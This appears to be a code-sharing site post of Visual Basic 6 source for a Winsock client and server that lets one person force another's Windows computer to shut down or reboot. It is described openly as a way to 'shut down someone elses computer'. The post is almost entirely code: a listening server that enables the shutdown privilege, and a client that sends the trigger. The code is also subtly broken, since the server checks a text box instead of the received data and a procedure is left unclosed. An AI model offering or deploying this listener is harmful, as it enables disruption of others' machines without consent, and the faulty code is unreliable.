by ???Unkown??? (1 Submission)
Category: Encryption
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Fri 6th June 2003
Date Added: Mon 8th February 2021
Rating: (1 Votes)
This is a sample of Winsock. This will shut down someone elses computer.
Must have Winsock control name Winsock1
Must have Text Box named txtCommand
Must have Text Box named txtPort
Private Sub Form_Load()
txtPort.Text = Winsock1.LocalPort
If txtPort.Text = "0" Then
txtPort.Text = "10101"
End If
Winsock1.LocalPort = txtPort.Text
txtIP.Text = Winsock1.LocalIP
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strCommand As String
Winsock1.GetData strCommand
If txtCommand.Text = "SHUT DOWN" Then
AdjustToken
ExitWindowsEx (EWX_SHUTDOWN Or EWX_FORCE Or EWX_REBOOT), &HFFFF
End If
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Client Project
Must have Winsock control name wnsCommand
Must have Text Box named txtIP
Must have Text Box named txtPort
Must have Text Box named txtCommand
Private Sub cmdShutdown_Click()
Dim strCommand As String
txtCommand.Text = "SHUT DOWN"
strCommand = txtCommand.Text
wnsCommand.SendData strCommand
DoEvents
End Sub
Private Sub cmdConnect_Click()
wnsCommand.RemoteHost = txtIP.Text
wnsCommand.RemotePort = txtPort.Text
wnsCommand.Connect
cmdConnect.Visible = False
cmdDisconnect.Visible = True
End Sub
Private Sub cmdDisconnect_Click()
wnsCommand.Close
cmdConnect.Visible = True
cmdDisconnect.Visible = False
End Sub
Module
Option Explicit
Public Type LUID
UsedPart As Long
IgnoredForNowHigh32BitPart As Long
End Type
Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
TheLuid As LUID
Attributes As Long
End Type
Const EWX_SHUTDOWN As Long = 1
Const EWX_FORCE As Long = 4
Const EWX_REBOOT = 2
Declare Function ExitWindowsEx Lib "USER32" ( _
ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
Declare Function GetCurrentProcess Lib "kernel32" () As Long
Declare Function OpenProcessToken Lib "advapi32" ( _
ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" _
Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, _
ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32" ( _
ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Sub AdjustToken()
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8
Const SE_PRIVILEGE_ENABLED = &H2
Dim hdlProcessHandle As Long
Dim hdlTokenHandle As Long
Dim tmpLuid As LUID
Dim tkp As TOKEN_PRIVILEGES
Dim tkpNewButIgnored As TOKEN_PRIVILEGES
Dim lBufferNeeded As Long
hdlProcessHandle = GetCurrentProcess()
OpenProcessToken hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or _
TOKEN_QUERY), hdlTokenHandle
LookupPrivilegeValue "", "SeShutdownPrivilege", tmpLuid
tkp.PrivilegeCount = 1
tkp.TheLuid = tmpLuid
tkp.Attributes = SE_PRIVILEGE_ENABLED
AdjustTokenPrivileges hdlTokenHandle, False, tkp, _
Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded
End Sub
No comments have been posted about This is a sample of Winsock. This will shut down someone elses computer.. Why not be the first to post a comment about This is a sample of Winsock. This will shut down someone elses computer..